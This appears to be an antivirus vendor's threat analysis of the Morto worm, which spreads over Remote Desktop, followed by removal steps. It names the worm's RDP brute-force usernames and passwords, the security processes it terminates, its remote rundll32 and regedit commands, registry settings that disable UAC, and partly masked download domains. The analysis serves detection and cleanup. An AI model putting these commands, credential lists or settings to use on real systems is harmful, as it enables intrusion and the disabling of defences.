Analysis by: Sabrina Lei Sioting
 Modified by: Erika Bianca Mendoza
ALIASES:

Worm:Win32/Morto.A (Microsoft)

 PLATFORM:

Windows 2000, Windows XP, Windows Server 2003

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:

  • Threat Type: Worm

  • Destructiveness: No

  • Encrypted: Yes

  • In the wild: Yes

  OVERVIEW

This worm uses Remote Desktop Protocol (RDP) for its propagation routines.

This worm registers ntshrui.dll (copy of clb.dll) as a service by creating the a certain registry. It then adds this service to netsvcs by changing a registry.

This worm arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It deletes the initially executed copy of itself.

  TECHNICAL DETAILS

File Size: 50,372 bytes
Memory Resident: Yes
Initial Samples Received Date: 29 Aug 2011
Payload: Modifies system registry

Arrival Details

This worm arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This worm drops the following file(s)/component(s):

  • %Windows%\clb.dll - detected as WORM_MORTO.SM
  • %Windows%\Offline Web Pages\cache.txt - detected as WORM_MORTO.SM (copy of clb.dll)
  • %System%\Sens32.dll - copy of sens.dll
  • %Windows%\ntshrui.dll - detected as WORM_MORTO.SM (copy of clb.dll)

(Note: %Windows% is the Windows folder, which is usually C:\Windows or C:\WINNT.. %System% is the Windows system folder, which is usually C:\Windows\System on Windows 98 and ME, C:\WINNT\System32 on Windows NT and 2000, or C:\Windows\System32 on Windows XP and Server 2003.)

It drops the following non-malicious file:

  • %Windows%\Offline Web Pages\%yyyy-mm-dd%

(Note: %Windows% is the Windows folder, which is usually C:\Windows or C:\WINNT.)

Other System Modifications

This worm adds the following registry entries as part of its installation routine:

HKEY_LOCAL_MACHINE\SYSTEM\WPA
it = "{hex values}"

HKEY_LOCAL_MACHINE\SYSTEM\WPA
id = "1293D1C15VAVUJTN"

HKEY_LOCAL_MACHINE\SYSTEM\WPA
ie = "%current folder%\{malware name}.exe"

HKEY_LOCAL_MACHINE\SYSTEM\WPA
md = "{compressed malware code}"

HKEY_LOCAL_MACHINE\SYSTEM\WPA
sn = "6to4"

HKEY_LOCAL_MACHINE\SYSTEM\WPA
sr = "Sens"

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Control\Windows
NoPopUpsOnBoot = "1"

Process Termination

This worm terminates processes or services that contain any of the following strings if found running in the affected system's memory:

  • ACAAS
  • ArcaConfSV
  • AvastSvc
  • FPAVServer
  • FortiScand
  • GDFwSvc
  • K7RTScan
  • KVSrvXP
  • MPSvc
  • MsMpEng
  • NSESVC.EXE
  • PavFnSvr
  • RavMonD
  • SavService
  • SpySweeper
  • Vba32Ldr
  • a2service
  • avgwdsvc
  • avpmapp
  • ccSvcHst
  • cmdagent
  • coreServiceShell
  • freshclam
  • fsdfwd
  • knsdave
  • kxescore
  • mcshield
  • scanwscs
  • vsserv

Other Details

This worm deletes the initially executed copy of itself

NOTES:

This worm creates a backup copy of its dropped file as %Windows%\clb.dll.bak.

The file %system%\clb.dll is a legitimate file which is used by regedit.exe. That is why the copy of this malware is placed in %Windows% directory is to trick regedit.exe that the dropped file is the component that it needs. Therefore, regedit.exe loads the malicious clb.dll into the system.

It listens to port 3389/TCP, the port for RDP, for possible enabled Remote Desktop. This worm searches for Remote Desktop Servers, and tries to log-in as Administrator using the following usernames:

  • actuser
  • admin
  • admin1
  • admin123
  • admin2
  • administrator
  • aspnet
  • backup
  • computer
  • console
  • david
  • dragon
  • guest
  • owner
  • princess
  • server
  • support
  • support_388945a0
  • test1
  • test2
  • test3
  • user1
  • user2
  • user3
  • user4
  • user5

It also tries the following passwords:

  • !@#$%
  • $1234
  • %u%111111
  • %u%12
  • %u%123
  • %u%1234
  • %u%123456
  • 000000
  • 111111
  • 1111111
  • 111222
  • 112233
  • 11223344
  • 121212
  • 123123
  • 123321
  • 12344321
  • 12345
  • 123456
  • 1234567
  • 12345678
  • 123456789
  • 1234567890
  • 1234qwer
  • 1314520
  • 159357
  • 168168
  • 1q2w3e
  • 1qaz2wsx
  • 22222222
  • 31415926
  • 520520
  • 654321
  • 666666
  • 7777777
  • 77777777
  • 789456
  • 888888
  • 88888888
  • 987654
  • 987654321
  • 999999
  • 1234
  • PASSWORD
  • Password
  • Z1234
  • abc123
  • abcd1234
  • actuser
  • admin
  • admin1
  • admin123
  • admin2
  • administrator
  • aspnet
  • backup
  • computer
  • console
  • david
  • dragon
  • guest
  • iloveyou
  • letmein
  • owner
  • password
  • princess
  • qazwsx
  • rockyou
  • secret
  • server
  • super
  • support
  • support_388945a0
  • test1
  • test2
  • test3
  • user1
  • user2
  • user3
  • user4
  • user5
  • zxcvbnm
Once remotely connected, this worm copies the file %Windows%\clb.dll as a .DLL to a directory in a temporary drive A: using the following remote command:
  • rundll32 \\tsclient\a\a.dll a
It also creates the r.reg on the said path with the following contents using the remote command regedit /s \\tsclient\a\r.reg:

  • [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System]
    ConsentPromptBehaviorAdmin=0
    EnableLUA=0

  • [HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers]
    c:\\windows\\system32\\rundll32.exe=RUNASADMIN
    d:\\windows\\system32\\rundll32.exe=RUNASADMIN
    e:\\windows\\system32\\rundll32.exe=RUNASADMIN
    f:\\windows\\system32\\rundll32.exe=RUNASADMIN
    g:\\windows\\system32\\rundll32.exe=RUNASADMIN
    h:\\windows\\system32\\rundll32.exe=RUNASADMIN
    i:\\windows\\system32\\rundll32.exe=RUNASADMIN
    c:\\windows\\SysWOW64\\rundll32.exe=RUNASADMIN
    d:\\windows\\SysWOW64\\rundll32.exe=RUNASADMIN
    e:\\windows\\SysWOW64\\rundll32.exe=RUNASADMIN
    f:\\windows\\SysWOW64\\rundll32.exe=RUNASADMIN
    g:\\windows\\SysWOW64\\rundll32.exe=RUNASADMIN
    h:\\windows\\SysWOW64\\rundll32.exe=RUNASADMIN
    i:\\windows\\SysWOW64\\rundll32.exe=RUNASADMIN
    c:\\winnt\\system32\\rundll32.exe=RUNASADMIN
    c:\\win2008\\system32\\rundll32.exe=RUNASADMIN
    c:\\win2k8\\system32\\rundll32.exe=RUNASADMIN
    c:\\win7\\system32\\rundll32.exe=RUNASADMIN
    c:\\windows7\\system32\\rundll32.exe=RUNASADMIN

This worm downloads an updated copy of itself using the link http:\\%domain%\160.rar with the following domains below:
  • {BLOCKED}r.{BLOCKED}o.be
  • {BLOCKED}r.{BLOCKED}o.cc
  • {BLOCKED}r.info
  • {BLOCKED}r.net
  • {BLOCKED}l.{BLOCKED}o.be
  • {BLOCKED}l.{BLOCKED}o.cc
  • {BLOCKED}l.net
  • {BLOCKED}0.{BLOCKED}.38.82

It registers ntshrui.dll (copy of clb.dll) as a service by creating the following registry:

HKEY_LOCAL_MACHINE\System\CurrentControlSet\6to4\Parameters
ServiceDLL = %Windows%\ntshrui.dll

It then adds this service to netsvcs by changing the registry below:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\SvcHost
netsvcs = 6to4 {default values}

The service is started, then the following files are deleted:

  • %Windows%\ntshrui.dll
  • %Windows%\clb.dll

It also deletes the created service registry after being loaded in memory.

It modifies the following registry:

HKEY_LOCAL_MACHINE\System\CurrentControlSet\SENS\Parameters
ServiceDLL = %System%\Sens32.dll

(Default: ServiceDLL = %System%\sens.dll)

However, the malware monitors the above-mentioned registry entry. If accessed, it displays "sens.dll" instead of "Sens32.dll".

It creates a Pending file rename registry entry to rename "%Windows%\Offline Web Pages\cache.txt" to "%System%\sens32.dll" upon reboot. Thus after restarting the system, Sens32.dll is no longer a copy of the legitimate sens.dll but a copy of clb.dll.

Afterwards, it reads the code in 'md' registry entry, then restores sens32.dll as a copy of the legitimate file, sens.dll.

  SOLUTION

Minimum Scan Engine: 9.200
FIRST VSAPI PATTERN FILE: 8.388.05
FIRST VSAPI PATTERN DATE: 29 Aug 2011
VSAPI OPR PATTERN File: 8.391.00
VSAPI OPR PATTERN Date: 31 Aug 2011

Step 1

DAMAGE CLEANUP TEMPLATE

Step 2

For Windows XP and Windows Server 2003 users, before doing any scans, please make sure you disable System Restore to allow full scanning of your computer.

Step 3

Remove malware files dropped/downloaded by WORM_MORTO.SMA

Step 4

Restart in Safe Mode

[ Learn More ]

Step 5

Delete this registry value

[ Learn More ]

Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.

  • In HKEY_LOCAL_MACHINE\SYSTEM\WPA
    • it = {hex values}
  • In HKEY_LOCAL_MACHINE\SYSTEM\WPA
    • id = 1293D1C15VAVUJTN
  • In HKEY_LOCAL_MACHINE\SYSTEM\WPA
    • ie = %current folder%\{malware name}.exe
  • In HKEY_LOCAL_MACHINE\SYSTEM\WPA
    • md = {compressed malware code}
  • In HKEY_LOCAL_MACHINE\SYSTEM\WPA
    • sn = 6to4
  • In HKEY_LOCAL_MACHINE\SYSTEM\WPA
    • sr = Sens
  • In HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Windows
    • NoPopUpsOnBoot = 1
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
    • ConsentPromptBehaviorAdmin = 0
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
    • EnableLUA = 0
  • In HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers
    • c:\windows\system32\rundll32.exe = RUNASADMIN
  • In HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers
    • d:\windows\system32\rundll32.exe = RUNASADMIN
  • In HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers
    • e:\windows\system32\rundll32.exe = RUNASADMIN
  • In HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers
    • f:\windows\system32\rundll32.exe = RUNASADMIN
  • In HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers
    • g:\windows\system32\rundll32.exe = RUNASADMIN
  • In HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers
    • h:\windows\system32\rundll32.exe = RUNASADMIN
  • In HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers
    • i:\windows\system32\rundll32.exe = RUNASADMIN
  • In HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers
    • c:\windows\SysWOW64\rundll32.exe = RUNASADMIN
  • In HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers
    • d:\windows\SysWOW64\rundll32.exe = RUNASADMIN
  • In HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers
    • e:\windows\SysWOW64\rundll32.exe = RUNASADMIN
  • In HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers
    • f:\windows\SysWOW64\rundll32.exe = RUNASADMIN
  • In HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers
    • g:\windows\SysWOW64\rundll32.exe = RUNASADMIN
  • In HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers
    • h:\windows\SysWOW64\rundll32.exe = RUNASADMIN
  • In HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers
    • i:\windows\SysWOW64\rundll32.exe = RUNASADMIN
  • In HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers
    • c:\winnt\system32\rundll32.exe = RUNASADMIN
  • In HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers
    • c:\win2008\system32\rundll32.exe = RUNASADMIN
  • In HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers
    • c:\win2k8\system32\rundll32.exe = RUNASADMIN
  • In HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers
    • c:\win7\system32\rundll32.exe = RUNASADMIN
  • In HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers
    • c:\windows7\system32\rundll32.exe = RUNASADMIN

Step 6

Restore this modified registry value

[ Learn More ]

Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.

 
  • In HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SENS\Parameters
    • From: ServiceDll = %SystemRoot%\system32\Sens32.dll
      To: ServiceDll = %SystemRoot%\system32\sens.dll

Step 7

Search and delete these files

[ Learn More ]
There may be some component files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the More advanced options option to include all hidden files and folders in the search result.
  • %Windows%\Offline Web Pages\cache.txt
  • %System%\Sens32.dll
  • %Windows%\Offline Web Pages\%yyyy-mm-dd%
  • A:\r.reg

Step 8

Restart in normal mode and scan your computer with your Trend Micro product for files detected as WORM_MORTO.SMA. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.


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